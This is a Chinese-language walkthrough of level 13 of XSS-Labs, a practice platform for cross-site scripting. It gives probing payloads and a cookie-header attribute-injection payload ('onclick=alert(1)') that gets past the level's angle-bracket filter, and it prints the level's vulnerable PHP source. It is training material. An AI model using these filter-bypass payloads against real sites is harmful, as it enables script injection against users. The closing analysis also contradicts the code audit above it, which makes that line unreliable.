文章目录
0x01 XSS-Labs
XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script
代码,当用户浏览该页之时,嵌入其中Web里面的Script
代码会被执行,从而达到恶意攻击用户的目的。
XSS按照利用方式主要分为:反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS即存储型XSS,非常危险,容易造成蠕虫,大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
XSS-Labs是使用PHP编写的一个XSS漏洞练习平台,一共包含20关,其主要为反射型XSS,可以练习基础XSS的过滤和绕过技巧,且每一关的后台源码都重写了alert()
方法,只要成功弹框即可调用重写的alert()
方法进入下一关或完成本关测试。
0x02 实验工具
FireFox
HackBar
0x03 实验环境
- 服务器:Windows Server 2008
- 中间件:Apache
- 客户端:Windows 10
实验界面如下图所示:
0x04 实验步骤
-
使用如下payload进行测试,查看参数的回显位置以及是否被转义或过滤。
http://10.10.10.148:8203/level13.php?keyword=<script>alert(/onclink+src+data+href/)</script> http://10.10.10.148:8203/level13.php?t_sort=<script>alert(/onclink+src+data+href/)</script> Cookie: user=<script>alert(/onclink+src+data+href/)</script>
由上述操作可以推断,程序对
h2
和name=t_sort
的input
标签中参数的尖括号进行了转义,而对name=t_cook
的input
标签参数中的尖括号进行过滤,使用不含尖括号的语句可以正常弹框,所以此处存在XSS漏洞。 -
构造如下所示的payload进行漏洞测试,结果如下图所示。
http://10.10.10.148:8203/level13.php?keyword=good%20job! Cookie: user=click me!" type="button" οnclick="alert(1) user=" type='text' onclick='alert(1)'
-
代码审计。程序源码如下所示:
<!DOCTYPE html><!--STATUS OK--><html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> <script> window.alert = function() { confirm("完成的不错!"); window.location.href="level14.php"; } </script> <title>欢迎来到level13</title> </head> <body> <h1 align=center>欢迎来到level13</h1> <?php setcookie("user", "call me maybe?", time()+3600); ini_set("display_errors", 0); $str = $_GET["keyword"]; $str00 = $_GET["t_sort"]; $str11=$_COOKIE["user"]; $str22=str_replace(">","",$str11); $str33=str_replace("<","",$str22); echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center> <form id=search> <input name="t_link" value="'.'" type="hidden"> <input name="t_history" value="'.'" type="hidden"> <input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden"> <input name="t_cook" value="'.$str33.'" type="hidden"> </form> </center>'; ?> <center><img src=level13.png></center> <?php echo "<h3 align=center>payload的长度:".strlen($str)."</h3>"; ?> </body> </html>
- 由23、27行代码可知:GET方法得到的参数经过
htmlspecialchars()
函数转义后回显到HTML页面中。 - 由19-21、27行代码可知:程序将通过GET方法得到的参数中的尖括号进行过滤后赋值给
name=t_cook
的input
标签的value
值。
- 由23、27行代码可知:GET方法得到的参数经过
-
所以含有的尖括号的注入无效,但其他不含尖括号构成的XSS仍可以使用。
0x05 实验分析
-
程序未做任何转义或过滤就将参数回显到HTML页面中,所以此关的payload非常多:
user=click me!" type="button" οnclick="alert(1) user=" type='text' onclick='alert(1)' ...